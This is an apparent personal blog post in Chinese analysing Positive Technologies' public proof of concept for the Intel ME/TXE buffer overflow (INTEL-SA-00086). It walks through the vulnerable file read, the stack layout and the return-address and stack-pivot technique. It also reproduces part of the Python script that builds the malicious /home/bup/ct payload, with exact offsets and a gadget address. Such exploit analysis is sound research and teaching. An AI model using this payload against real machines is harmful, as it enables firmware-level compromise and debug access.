--- tags: github --- # Intel ME 漏洞 - PT的PoC分析 (Intel-SA-00086) 在讀到Intel ME和AMD Security Technology之後順藤摸瓜,就看到了似乎在PC韌體界頗有名的漏洞[2, 3],看了Positive Technologies(簡稱PT)的演講和說明之後實在還是摸不著頭緒。主要是因為我對ME內部的運作方式不是很熟悉(菜)。好在找到了Kakaroto的blog[1],在讀過了幾遍之後,漏洞的大致輪廓逐漸清晰了些,紀錄一下。 對於不知道Intel ME的人,請先查閱參考資料或是Google,[1]中也有很好的說明。這篇的細節會參照[1],我認為Kakaroto有些部分還是寫的有點難懂,所以我盡量用更明顯清楚的方式把關鍵處講出來。 值得注意的是Kakaroto在[1]中提到了他發現PT在Github上發布的PoC[4]和他們的演講[2, 3]對不上,攻擊手法不一樣,所以研究了PoC中到底在做什麼。這邊就不講他怎麼發現的了,直接說明他最後研究出的結果。 > PoC針對的是Apollolake平台,演講是說Skylake平台 ## 攻擊大致流程 Positive Technologies給出的PoC流程大概是: 漏洞->讓ME core跑攻擊者的code->打開DCI並切換到RED模式(開啟ME的DFx功能)->得到ME debug權限 > JTAG、USB DbC、DCI等我都不熟悉,有錯請指正 ## 漏洞 整個漏洞其實就是一個buffer overflow vulnerability。在ME會跑的一個叫做BUP(Bring-UP)的process中,有這幾行: ```c if ( !(reg & 0x1000000) && !bup_get_si_features(si_features) && !bup_get_file_size("/home/bup/ct", &ct_file_size) ) { if ( ct_file_size ) { LOBYTE(err) = bup_dfs_read_file("/home/bup/ct", 0, ct_file_data, ct_file_size, &read_size); /* code below is omitted */ ``` 仔細看可以觀察到,在叫`bup_dfs_read_file`這個函數的時候,`ct_file_data`是前面宣告的一個大小是808 Bytes的buffer,`ct_file_size`則是`/home/bup/ct`的檔案大小,也就是說把整個檔案讀到只有808 Bytes的`ct_file_data`裡,Intel寫錯了!只要`/home/bup/ct`大於808 Bytes,整個process stack就會被寫壞,因為`ct_file_data`是local variable,所以存在stack上。 而剛好,`/home/bup/ct`這個檔案是沒有被Intel簽章保護的,讓攻擊者可以放payload進去。 ## 控制ME跑我們的code 真正複雜之處在於怎麼利用上面的buffer overflow來跑我們的code,攻擊時BUP的函數呼叫鏈長這樣: (這只是Kakaroto幫我們整理好的pseudocode但大概的程序是一樣的) ```flow st=>start: bup_entry bm=>operation: bup_main br=>operation: bup_run_init_scripts bith=>operation: bup_init_trace_hub bread=>operation: bup_dfs_read_file bsys=>operation: bup_init_trace_hub_set_systracer e=>end: bup_init_trace_hub_set_systracer st->bm->br->bith->e ``` 其中`bup_init_trace_hub`先呼叫了有漏洞的`bup_dfs_read_file`(上圖沒顯示),然後再呼叫`bup_init_trace_hub_set_systracer`。 接著要來觀察`bup_init_trace_hub`,同樣擷取[1]提供的pseudocode(簡化之後的code): ```c= /* CT format */ typedef struct { uint8_t ignore[6]; uint16_t num_entries; struct { uint24_t offset; // offset in the segement is only 20 bits uint8_t segment_selector; // if value is 1, segment is 0x07, if value is 2, segment is 0xBF uint32_t value; // Value to set in segment_selector:offset }[num_entries]; } CT; void bup_init_trace_hub() { // ct_data == 那個會被overflow的固定size buffer char ct_data[808]; int file_size; int bytes_read; // 漏洞本身 bup_dfs_get_file_size("/home/bup/ct", &file_size); bup_dfs_read_file("/home/bup/ct", 0, ct_data, file_size, &bytes_read); // ct_data指到/home/bup/ct的內容(第20行) // 在這邊cast成一個header的pointer(第2行) CT *ct = (CT *)ct_data; // 這個for loop根據/home/bup/ct這個檔案的header,去更改(set)memory裡面的一些值 // 如果不熟x86 segment的觀念可能會看不懂 for (uint16_6 i = 0; i < ct->num_entries; i++) { // 如果selector這個member == 1, // 就把(0x7:ct->entries[i].offset)這個logical address指到的地方 // 改成ct->entries[i].value if (ct->entries[i].selector == 1) set_segment_word(7, ct->entries[i].offset, ct->entries[i].value); // == 2就改 0xBF這個segment if (ct->entries[i].selector == 2) set_segment_word(0xBF, ct->entries[i].offset, ct->entries[i].value); } // 呼叫後面會講到的函數 bup_init_trace_hub_set_systracer(7, 0xBF); // return之前會檢查security cookie } ``` 以上的code我們稱之A區 知道`bup_init_trace_hub`在做什麼之後,我們要來觀察stack上的資料。BUP在執行時,stack長這樣(從0x56000開始往下長): ``` /* 和blog中不太一樣,我認為這樣比較好懂 */ TXE STACK - bup_entry: 0x56000: STACK TOP 0x55FEC: TLS 0x55FE8: ecx - arg to bup_main 0x55FE4: edx - arg 0x55FE0: eax - arg 0x55FDC: retaddr - call bup_main 0x55FD8: saved ebp of bup_entry 0x55FD4: 0 - arg to bup_run_init_scripts 0x55FD0: retaddr - call bup_run_init_scripts 0x55FCC: saved ebp of bup_main 0x55FC8: saved edi 0x55FC4: saved esi 0x55FC0: saved ebx 0x55FBC: var_10 0x55FB8: retaddr - call bup_init_trace_hub //這是bup_init_trace_hub的stack frame開始處 0x55FB4: saved ebp of bup_run_init_scripts 0x55FB0: saved esi 0x55FAC: saved ebx 0x55FA8: security cookie 0x55C80: ct_data //FA8-C80 = 0x328 = 808沒錯 0x55C6C: si_features 0x55C68: file_size 0x55C64: bytes_read 0x55C60: 0xBF - arg to bup_init_trace_hub_set_systracer 0x55C5C: 7 - arg 0x55C58: retaddr - call bup_init_trace_hub_set_systracer 0x55C54: saved ebp of bup_init_trace_hub ``` 以上的data我們稱之B區 PoC中的`/home/bup/ct`在A區20行之後就會把0x56000-0x55C80之間的內容全部破壞,為了不要觸發會檢查security cookie(0x55FA8)的stack guard,`/home/bup/ct`的內容必須讓我們在`bup_init_trace_hub`return之前取得控制。 先觀察`bup_init_trace_hub_set_systracer`: ```c= // sub_49AD3 // The following is a small function that gets called and sets flags on // the systracer context value and returns. bup_init_trace_hub_set_systracer(unsigned int seg1, unsigned int seg2) { // sys_get_sys_tracer_ctx() 回傳 syslib_context + 0x200 // syslib_context位在這個thread的TLS, // 也就是上面stack資料(B區)可以看到的0x55FEC-0x56000之間 // 藉由buffer overflow,我們可以改變systracer的值 // 而因為systracer是一個指標,下面的bitwise操作 // 就會改變systracer指到的內容 char *systracer = sys_get_sys_tracer_ctx(); // Set the DWORD at address systracer + 0x10 to the first argument *(uint32_t *)(systracer + 0x10) = seg1; // 這邊對systracer進行一堆bitwise操作 // PoC中的/home/bup/ct會讓systracer = 0x55C58,也就是 // 現在這個函數本身的ret addr,所以下面22-33行 // 都是在修改這個函數自己的ret addr // Set bits 0 and 1 of systracer to 1 and clear bits 6 and 7 systracer[0] |= 3; systracer[0] &= 0x3F; // set bit 6 of systracer to the same as bit 3 of 0xBF:10 // 藉由A區 27-36行,我們可以改變這裡 // get_segment_word所取得的資料 systracer[0] |= ((get_segment_word(seg2, 0x10) >> 3) & 1) << 6; // set bit 7 of systracer to the same as bit 7 of 0xBF:10 systracer[0] |= get_segment_word(seg2, 0x10) & 0x80; // Clear bits 8 and 9 of systracer systracer[1] &= 0xFC; // set bit 8 of systracer to the same as bit 11 of 0xBF:10 systracer[1] |= (get_segment_word(seg2, 0x10) >> 11) & 1 ; // set bit 9 of systracer to the same as bit 24 of 0xBF:E0 systracer[1] |= ((get_segment_word(seg2, 0xE0) >> 24) & 1) << 1; } ``` 以上的code我們稱之C區 C區的操作,讓我們可以一定限度的修改`bup_init_trace_hub_set_systracer`的ret addr,但是不能任意指定,PoC中把它從0x4995B(應該是A區的39行的位址)改成0x49BDB。而此時的stack frame還是`but_init_trace_hub`,剛剛好0x4995B處的code沒有stack guard,return之前也會幫我們pop掉東西,esp = 0x55FB8的時候ret。 PoC中0x55FB8的內容被改成0x00016e1a,程式跳過去那邊執行,而那裡是在一個instruction中間,但是會被執行成`pop esp, ret`,`pop esp`會使得esp被assign成位址0x55FBC的值,也被PoC改成0x00055c98,0x00055c98所指到的內容,所指到的內容(沒錯兩層dereference)就是CPU下一個執行的指令,應該也在buffer之中,而那裡就是PoC主要的payload,打開DCI還有開啟ME debug功能。 以下是產生目標`/home/bup/ct`的python script: 如果完全了解應該可以看懂XD ```python= STACK_BASE = 0x00056000 BUFFER_OFFSET = 0x380 SYS_TRACER_CTX_OFFSET = 0x200 SYS_TRACER_CTX_REQ_OFFSET = 0x55c58 RET_ADDR_OFFSET = 0x338 # for the CT structure def GenerateTHConfig(): print("[*] Generating fake tracehub configuration...") trace_hub_config = struct.pack("<B", 0x0)*6 trace_hub_config += struct.pack("<H", 0x2) trace_hub_config += struct.pack("<L", 0x020000e0) trace_hub_config += struct.pack("<L", 0x5f000000) trace_hub_config += struct.pack("<L", 0x02000010) trace_hub_config += struct.pack("<L", 0x00000888) def GenerateRops(): print("[*] Generating rops...") # Let's ignore this for now def GenerateShellCode(): syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET data = GenerateTHConfig() init_trace_len = len(data) data += GenerateRops() data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data)) data += struct.pack("<L", 0x00016e1a) data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len) data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start, 0, 0x03000300, STACK_BASE-4) data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail)) data += data_tail return data ``` 如果需要幫助了解,可以把上面生成的`/home/bup/ct`畫出來,疊在B區的值上面(從0x55C80開始往上),然後對照著看,但我太懶了所以先不幫忙畫XD ## 結語 這個攻擊本身沒有很深奧,就是buffer overflow還有ROP的技巧,厲害的是有許多給定的資訊例如ME韌體的code、韌體的filesystem資訊、stack從0x56000開始等等,我在網路上看到大部分都是PT那幾個研究人員逆向工程搞出來的,實在是鬼神XD 這只是Kakaroto寫的三部分的第一份,另外兩個有緣的話我再來寫吧,第二篇瞄了一下是講怎麼把這個攻擊port到skylake上,第三部分還沒有看。 這篇為我自己對ME的研究做個總結,我對ME的理解就到這,其他的水實在是太深了,各種都是Intel私家的技術,繼續讀下去太花時間了,來去研究其他的東西~ ## 參考 [1] [Kakaroto's experience](https://kakaroto.ca/2019/11/exploiting-intels-management-engine-part-1-understanding-pts-txe-poc/) [2] [Positive Technologies原始說明pdf](https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf) [3] [Positive Technologies在black hat Europe 2017的演講](https://www.youtube.com/watch?v=9fhNokIgBMU&list=WL&index=38) [4] [Positive Technologies PoC (github)](https://github.com/ptresearch/IntelTXE-PoC)